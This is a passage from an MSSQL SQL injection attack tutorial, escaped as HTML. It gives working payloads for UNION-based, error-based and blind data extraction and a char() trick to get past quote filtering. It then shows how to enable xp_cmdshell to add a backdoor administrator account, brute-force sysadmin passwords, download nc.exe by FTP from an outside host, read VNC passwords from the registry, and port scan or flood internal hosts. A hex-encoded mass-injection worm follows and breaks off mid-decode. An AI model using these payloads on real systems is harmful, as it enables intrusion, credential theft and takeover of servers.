 &lt;br /&gt;  &lt;soap:envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt;&lt;soap:body&gt;&lt;br /&gt;  &lt;getuserinforesponse xmlns="http://tempuri.org/"&gt;&lt;getuserinforesult&gt;&lt;erroroccured&gt;true&lt;/erroroccured&gt;&lt;errorstr&gt;&lt;br /&gt;  System.Data.OleDb.OleDbException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) &lt;br /&gt;  Feb  9 2007 22:47:07 &lt;br /&gt;  Copyright (c) 1988-2005 Microsoft Corporation&lt;br /&gt;  Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)&lt;br /&gt;  ' to data type int.&lt;br /&gt;  at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)&lt;br /&gt;  at System.Data.OleDb.OleDbDataReader.NextResult()&lt;br /&gt;  at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)&lt;br /&gt;  at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)&lt;br /&gt;  at Service.GetUserInfo(String username, String password)&lt;/errorstr&gt;&lt;sqlquery&gt;SELECT * FROM users WHERE username='admin' &lt;br /&gt;  and 1=convert(int,@@version)--' AND password='81dc9bdb52d04dc20036dbd8313ed055'&lt;/sqlquery&gt;&lt;id&gt;-1&lt;/id&gt;&lt;joindate&gt;0001-01-01T00:00:00&lt;/joindate&gt;&lt;br /&gt;  &lt;/getuserinforesult&gt;&lt;/getuserinforesponse&gt;&lt;/soap:body&gt;&lt;/soap:envelope&gt;&lt;br /&gt; &lt;br /&gt;  [End]---------------------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt;   W00t!! W00t!!, We can enumerate MSSQL Version : Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86).&lt;br /&gt;  Then we can use SQLi techniques that we mention above (Dump tables, columns, data, Etc).&lt;br /&gt;&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x02c] - MSSQL Injection with UNION Attack&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;  This method differs from the both previous methods because we do not get information through error &lt;br /&gt; but we, instead, see it in some point of returned page.&lt;br /&gt;&lt;br /&gt; First of all, we have to know the exact number of selected column. We can find it by using ORDER BY clause.&lt;br /&gt;&lt;br /&gt;  http://www.example.com/page.asp?id=1 order by 1--&lt;br /&gt;  http://www.example.com/page.asp?id=1 order by 2--&lt;br /&gt;  http://www.example.com/page.asp?id=1 order by 3--&lt;br /&gt;  http://www.example.com/page.asp?id=1 order by 4--&lt;br /&gt;  and so on&lt;br /&gt;&lt;br /&gt; We observe a result from each request until we get error like this.&lt;br /&gt;  &lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;  Microsoft SQL Native Client error '80040e14'&lt;br /&gt;  The ORDER BY position number 5 is out of range of the number of items in the select list.&lt;br /&gt;  /showthread.asp, line 9&lt;br /&gt;  ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; This means this page select four columns from table and this error occurs when we request http://www.example.com/page.asp?id=1 order by 5--&lt;br /&gt;&lt;br /&gt; Now, we use UNION operator to gain information.&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,44--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We will see "11" or "22" or "33" or "44" appeared on some point in returned page. We assume that &lt;br /&gt; we have already located the position which "44" occur on the screen.&lt;br /&gt; (We should remember this position because it is where our information will be appeared)&lt;br /&gt;&lt;br /&gt; As we found "44" on the screen, we replace "44" with "@@version" in order to find the version of MSSQL.&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,@@version--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We will see version of MSSQL appeared in the position which "44" occurred.&lt;br /&gt;&lt;br /&gt; At this point, we know that next information definitely takes place in this position.&lt;br /&gt;&lt;br /&gt;  The rest are to find table names, column names and data. As we see in previous section, &lt;br /&gt; we can obtain table names and column names through "information_schema" database.&lt;br /&gt; We still use the same way in this approach.&lt;br /&gt;  &lt;br /&gt;  [SQli]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We will see the first table on the screen. We assume it is table called 'threads'. We can find next table by following request.&lt;br /&gt;  &lt;br /&gt;  [SQli]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables where table_name not in ('threads')--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We assume the retrieved table is 'users'. So, we append a known table list until we get blank in position which "44" occurred.&lt;br /&gt; After we get all table names that we want, we move to gather column names.&lt;br /&gt;  &lt;br /&gt;  [SQli]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name='users'--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; From this request, we will see the first column in table 'users'. We assume it is 'uname'. For another column, we can use following request.&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name='users' and &lt;br /&gt;  column_name not in ('uname')--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We get the second column which is 'upass' and we continue appending a known column list until we get blank result.&lt;br /&gt; The most wanted information is data. It is quite simple after we obtained table names and column names. We just use following request.&lt;br /&gt;  &lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; We will get data such as admin from the request. In order to get another row, we only append information list as following.&lt;br /&gt;&lt;br /&gt;  [SQLi]------------------------------------------------------------------------------&lt;br /&gt;  http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users where uname not in ('admin')--&lt;br /&gt;  [End SQLi]--------------------------------------------------------------------------&lt;br /&gt; &lt;br /&gt; Now, we can enumerate the rest data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;###########################################&lt;br /&gt; [0x03] - MSSQL Blind SQL Injection Attack&lt;br /&gt;###########################################&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; In some case, Using normal sql injection is not work. Blind sql injection is another method which may help you.&lt;br /&gt;The important point for blind sql injection is the difference between the valid and invalid query result.&lt;br /&gt;You have to inject a statement to make query valid or invalid and observe the response.&lt;br /&gt; Just because you don't see any results, doesn't mean that your injected SQL is not being executed !!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x03a] - How to Test sites that are vulnerable in Blind SQL Injection&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;  We assume that http://www.example.com/page.asp?id=1 is normal url to open web page.&lt;br /&gt;&lt;br /&gt; You can try to inject a statement like this&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 and 1=1 &lt;br /&gt; and&lt;br /&gt; http://www.example.com/page.asp?id=1 and 1=2&lt;br /&gt;&lt;br /&gt;  If the results from these requests are different, it will be a good signal for you.&lt;br /&gt; This website may fall to blind sql injection vulnerability. When you put "id=1 and 1=1", &lt;br /&gt; it means that the condition is true so, the response must be normal. &lt;br /&gt; But the parameter "id=1 and 1=2" indicates that the condition is false &lt;br /&gt; and if the webmaster does not provide a proper filter, the response absolutely differs from previous.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x03b] - Determine data through Blind SQL Injection&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;  By using blind technique, you have to spend more time than normal injection. &lt;br /&gt; You can obtain only one character while you send several queries to server.&lt;br /&gt; We will give you an example of querying the first character of database name. &lt;br /&gt; We assume that database name is member. Therefore, the first character is "m" &lt;br /&gt; which the ascii value is 109. (At this point, we assume that you know ascii code)&lt;br /&gt;&lt;br /&gt; Ok, first, we have to know that the results from requests have only 2 forms.&lt;br /&gt;&lt;br /&gt; 1. Valid query result likes http://www.example.com/page.asp?id=1 and 1=1&lt;br /&gt; 2. Invalid query result likes http://www.example.com/page.asp?id=1 and 1=2&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; The following steps are up to each person. You idea may be different from our idea in order to pick ascii code to test query.&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;90&lt;br /&gt;&lt;br /&gt; In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1 &lt;br /&gt; (because the first character of database name is "m" which ascii code is 109). Then, we try&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;120&lt;br /&gt;&lt;br /&gt; It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely less than 120).&lt;br /&gt; next, we try&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;105&lt;br /&gt;&lt;br /&gt; The result is a valid query result and at this point, the ascii value of first character of database name is between 105 and 120.&lt;br /&gt; So, we try&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;112  ===&amp;gt; invalid query result&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;108  ===&amp;gt; valid query result&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;110  ===&amp;gt; invalid query result&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)&amp;gt;109  ===&amp;gt; invalid query result&lt;br /&gt;&lt;br /&gt;  You see that the first character of database name has an ascii value which is greater than 108 &lt;br /&gt; but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109.&lt;br /&gt; You can prove with:&lt;br /&gt; &lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109 .&lt;br /&gt; &lt;br /&gt; We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1 .&lt;br /&gt;&lt;br /&gt; The rest which you have to do is to manipulate some queries to collect your preferred information.&lt;br /&gt; In this tutorial, we propose some example queries in order to find the names of tables and columns in the database.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x03c] - Exploit query for get Table name &lt;br /&gt; ++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;  In order to get table name, we can use above method to obtain each character of table name.&lt;br /&gt; The only thing that we have to do is to change query to retrieve table name of current database. &lt;br /&gt; As MSSQL does not have limit command. Therefore, the query is a bit complicate.&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) &lt;br /&gt; FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))&lt;br /&gt; AS varchar(8000)),1,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt;  The above query is used to determine the first character of first table in current database. If we want to find second character of first table,&lt;br /&gt; we can do by following request:&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) &lt;br /&gt; FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))&lt;br /&gt; AS varchar(8000)),2,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt;  We change the second parameter of substring function from 1 to 2 in order to specify preferred position of character in table name.&lt;br /&gt; Thus, if we want to determine other positions, we require only changing second parameter of substring function.&lt;br /&gt;&lt;br /&gt;  In case of other tables, we can find other table names by changing the second select &lt;br /&gt; from "SELECT TOP 1" to be "SELECT TOP 2" , "SELECT TOP 3" and so on. for example,&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name) &lt;br /&gt; FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))&lt;br /&gt; AS varchar(8000)),1,1)),0)=97&lt;br /&gt;&lt;br /&gt;  The above request will determine the first character of the second table name in current database.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x03d] - Exploit query for get Column name &lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;  After we obtain table names, the next target information is absolutely column names. &lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM &lt;br /&gt; syscolumns i WHERE(i.colid&amp;lt;=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE &lt;br /&gt; id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt;  In order to circumvent from magic quote filtering, you have to change 'tablename' &lt;br /&gt; to be the form of concatenating char() command. for example, if table name is 'user', &lt;br /&gt; when we put 'user' in the query, ' may be filtered and our query will be wrong.&lt;br /&gt; The solution is convert 'user' to be char(117)+char(115)+char(101)+char(114). &lt;br /&gt; So, the query in where cluase changes from "Where name='user'" to "Where name=char(117)+char(115)+char(101)+char(114)".&lt;br /&gt; In this case, we can circumvent magic quote filtering. The result from the above request is the first character of the first column name of specific table.&lt;br /&gt; When we want to find the second character of the first column, we can use the same method as getting table name, by changing the second parameter of &lt;br /&gt; substring function.&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM &lt;br /&gt; syscolumns i WHERE(i.colid&amp;lt;=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE &lt;br /&gt; id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt; The above request is used to determine the second character of the first column name in specific table.&lt;br /&gt; In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as,&lt;br /&gt;&lt;br /&gt; http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM &lt;br /&gt; syscolumns i WHERE(i.colid&amp;lt;=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE &lt;br /&gt; id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)&amp;gt;97&lt;br /&gt;&lt;br /&gt; The first character of the second column name in specific table can be determined by the above request.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;############################################## &lt;br /&gt; [0x04] - More Dangerous SQL Injection Attack&lt;br /&gt;##############################################&lt;br /&gt;  &lt;br /&gt;  In Chapter [0x02] and [0x03], We described about retrieving any useful data that was extracted from database &lt;br /&gt; via SQL Injection techniques - for example, by performing a UNION Attack, Returning data in an error message and Blind injection. &lt;br /&gt;  This chapter will not show only an data extraction but command execution and sql worms as well.&lt;br /&gt;&lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x04a] - Dangerous from Extended Stored Procedures&lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;  xp_cmdshell          - Executes a given command on the MSSQL Operation system&lt;br /&gt;                - Available by default on all MSSQL (Disabled on MSSQL 2005)&lt;br /&gt;                - Can only be executed by 'sa' and any other users with 'sysadmin' privileges&lt;br /&gt;  &lt;br /&gt;  xp_regxxx            - Read/Write registry keys, potentially including the Read SAM file&lt;br /&gt;   &lt;br /&gt;   xp_regread &lt;br /&gt;   xp_regwrite&lt;br /&gt;   xp_regdeletekey&lt;br /&gt;   xp_regdeletevalue&lt;br /&gt;   xp_regenumkeys&lt;br /&gt;   xp_regenumvalues&lt;br /&gt;&lt;br /&gt;   [Example for determines what null-session shares are available on the server]&lt;br /&gt;   exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares'&lt;br /&gt; &lt;br /&gt;  xp_servicecontrol    - Allows to Manage Services&lt;br /&gt;   &lt;br /&gt;   [Example Command]--------------------------------------------------------------------&lt;br /&gt;   exec master..xp_servicecontrol 'start','schedule'&lt;br /&gt;   exec master..xp_servicecontrol 'start','server'&lt;br /&gt;   [End Command]------------------------------------------------------------------------&lt;br /&gt;  &lt;br /&gt;  xp_availablemedia    - Reveals the available drives on the machine&lt;br /&gt;  xp_dirtree      - Allows a directory tree to be obtained&lt;br /&gt;  xp_enumdsn      - Enumerates ODBC data sources on the server&lt;br /&gt;  xp_makecab      - Allows the user to create a compressed archive of files on the server&lt;br /&gt;  xp_ntsec_enumdomains - Enumerates domains that the server can access&lt;br /&gt;  xp_terminate_process - Terminate a process (PID)&lt;br /&gt;  xp_loginconfig      - Login mode&lt;br /&gt; &lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x04b] - Advanced SQL Injection Techniques&lt;br /&gt; +++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  &lt;br /&gt;  "xp_cmdshell" Stored procedures, executes any command shell in the server with the same permissions that it is currently running. &lt;br /&gt; By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure) &lt;br /&gt;&lt;br /&gt; EXEC master.dbo.xp_cmdshell 'net user cwh cwh1234 /add' ;--   //Use for add user "cwh" into system.&lt;br /&gt; EXEC master.dbo.xp_cmdshell 'net localgroup administrators cwh /add' ;-- //Use for escalating privilege "cwh" to admin group&lt;br /&gt;&lt;br /&gt; Example through SQL injection in a numeric field via a GET request:&lt;br /&gt; http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell 'command'&lt;br /&gt;&lt;br /&gt; On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:&lt;br /&gt;&lt;br /&gt; EXEC sp_configure 'show advanced options', 1;--&lt;br /&gt; RECONFIGURE;-- &lt;br /&gt; EXEC sp_configure 'xp_cmdshell', 1;-- &lt;br /&gt; RECONFIGURE;--  &lt;br /&gt;&lt;br /&gt; On MSSQL 2000:&lt;br /&gt; &lt;br /&gt; If you have 'sa' privileges but xp_cmdshell has been disabled/removed with sp_dropextendedproc, &lt;br /&gt; we can simply inject the following code:&lt;br /&gt;&lt;br /&gt; EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--&lt;br /&gt;&lt;br /&gt;  This creates a new stored procedure 'xp_anyname' linked to xp_log70.dll, which provides the xp_cmdshell functionality.&lt;br /&gt; If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;&lt;br /&gt;  CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;  DECLARE @ShellID int&lt;br /&gt;  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;  return @result&lt;br /&gt; &lt;br /&gt; ** Tip **&lt;br /&gt;&lt;br /&gt; [Question] &lt;br /&gt;  Determined that the web application connects to the DB with unprivileged account. &lt;br /&gt; So we can't execute XP_CMDSHELL or access any interesting data ?&lt;br /&gt;&lt;br /&gt; [Answer]   &lt;br /&gt;  It's not the end, First we must enumerate MSSQL user accounts that have system administrator privileges.&lt;br /&gt;&lt;br /&gt; [Code]--------------------------------------------------------------------------------------&lt;br /&gt; http://www.example.com/news.asp?id=1 union all select null,null,name,null,null,null,null from master..syslogins where name not in ('sa') and sysadmin=1;--&lt;br /&gt; [End Code]----------------------------------------------------------------------------------&lt;br /&gt;  &lt;br /&gt; [Result]------------------------------------------------------------------------------------&lt;br /&gt; sa&lt;br /&gt; cwh&lt;br /&gt; example&lt;br /&gt; [End Result]--------------------------------------------------------------------------------&lt;br /&gt;  &lt;br /&gt;  We can use "OPENROWSET" to re-connect to the same database server under each enumerated &lt;br /&gt; sysadmin account and guess passwords. This was automated via a Perl script to do brute-force password guessing through the SQL injection:&lt;br /&gt; &lt;br /&gt; [Code]--------------------------------------------------------------------------------------&lt;br /&gt; http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','server=VICTIMDBNAME;uid=$USER;pwd=$PASS','select * from master..sysusers')--&lt;br /&gt; [End Code]----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; //Result: Found that "CWH" has a "1234"&lt;br /&gt;     &lt;br /&gt;  Leveraged the "OPENDATASOURCE" function to execute a stored procedure on the database, under the "CWH" system administrator credentials:&lt;br /&gt; &lt;br /&gt; [Code]--------------------------------------------------------------------------------------&lt;br /&gt; http://www.example.com/news.asp?id=1; EXEC opendatasource('SQLoledb','Persist Security Info=False;DataSource=VICTIMDBNAME;UserID=CWH;Password=1234').master&lt;br /&gt; .dbo.xp_cmdshell 'net user hacklol 1234 /add';&lt;br /&gt; [End Code]----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; //Dirty Attack: use TFTP Netcat and run a reverse shell. Gained Internet access to the internal network.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; = How about Upload of executables ? =&lt;br /&gt;&lt;br /&gt;  Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. &lt;br /&gt; A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester's machine, &lt;br /&gt; all that is needed is to inject the following queries: &lt;br /&gt; &lt;br /&gt; exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt; exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt; exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt; exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt; exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt; exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt; exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; = How about Retrieving VNC Password from Registry ? =&lt;br /&gt;&lt;br /&gt; '; declare @out binary(8)&lt;br /&gt; exec master..xp_regread&lt;br /&gt; @rootkey = 'HKEY_LOCAL_MACHINE',&lt;br /&gt; @key = 'SOFTWARE\ORL\WinVNC3\Default',&lt;br /&gt; @value_name='password',&lt;br /&gt; @value = @out output&lt;br /&gt; select cast (@out as bigint) as x into TEMP--&lt;br /&gt; &lt;br /&gt; ' and 1 in (select cast(x as varchar) from temp)--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; = How about Port Scanning ? =&lt;br /&gt;&lt;br /&gt;  We can use SQL injection vulnerability as a rudimentary IP/Port Scanner of the Internal Network or Internet&lt;br /&gt;&lt;br /&gt; [Code]--------------------------------------------------------------------------------------&lt;br /&gt; http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.10.10.12,80;timeout=5',&lt;br /&gt; 'select * from table')--&lt;br /&gt; [End Code]----------------------------------------------------------------------------------&lt;br /&gt;  &lt;br /&gt;   This Code will outbound the connection to 10.10.10.12 over port 80. If the port is closed, the timeout (5 seconds) &lt;br /&gt;  in parameter will be consumed and display error message:&lt;br /&gt;&lt;br /&gt;   "SQL Server does not exist or access denied"&lt;br /&gt;&lt;br /&gt;  If port is open, the timeout would not be consumed and error messages will returned:&lt;br /&gt;&lt;br /&gt;   "General network error. Check your network documentation"&lt;br /&gt;   or&lt;br /&gt;   "OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error."&lt;br /&gt;  &lt;br /&gt;  This technique, We will be able to map open ports on the IP addresses of hosts on the internal network (w00t !!)&lt;br /&gt;&lt;br /&gt;  ** Note **&lt;br /&gt;   This technique can use for Denial of Service (DoS). Just change port to some port such as: FTP (21), and change timeout too high (500).&lt;br /&gt;  It's make many connections to target over FTP service (port 21)&lt;br /&gt;&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  [0x04c] - Mass MSSQL Injection Worms&lt;br /&gt; ++++++++++++++++++++++++++++++++++++++&lt;br /&gt;  &lt;br /&gt;  Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite difficult to clean, &lt;br /&gt; even with the most robust database backup and recovery scheme. This attack is conducted with the help of an Internet robotalso &lt;br /&gt; known as malbotwhich attacks its prospects daily. It is likely that such a malbot fires the series of injection attempts continuously &lt;br /&gt; and conditionally until the malicious script references are sensed on the targeted web pages. There is nothing new in the way that &lt;br /&gt; the following T-SQL is injected. Yet, the generic nature of the script is somewhat interesting to see.&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt; [SQLi worm]---------------------------------------------------------------------------------&lt;br /&gt; ';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045002000400054002000760061007200630068006100720028003200350035&lt;br /&gt; 0029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F004300&lt;br /&gt; 7500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E&lt;br /&gt; 0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E0073002000&lt;br /&gt; 6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027007500270020&lt;br /&gt; 0061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F0072002000&lt;br /&gt; 62002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC(@S);--&lt;br /&gt; [End SQLi]----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;  When we decode this SQLi Code with Hex:&lt;br /&gt;&lt;br /&gt; [SQLi Decoded]------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt; DECLARE @T VARCHAR(255)&lt;br /&gt; DECLARE @C VARCHAR(255)&lt;br /&gt;&lt;br /&gt; DECLARE Table_Cursor CURSOR FOR&lt;br /&gt; SELECT [A].[Name], [B].[Name]&lt;br /&gt; FROM sysobjects AS [A], syscolumns AS [B]&lt;br /&gt; WHERE [A].[ID] = [B].[ID] AND&lt;br /&gt; &lt;br /&gt; [A].[XType] = 'U' /* Table (User-Defined) */ AND&lt;br /&gt; ([B].[XType] = 99 /* NTEXT */ OR&lt;br /&gt; [B].[XType] = 35 /* TEXT */ OR&lt;br /&gt; [B].[XType] = 231 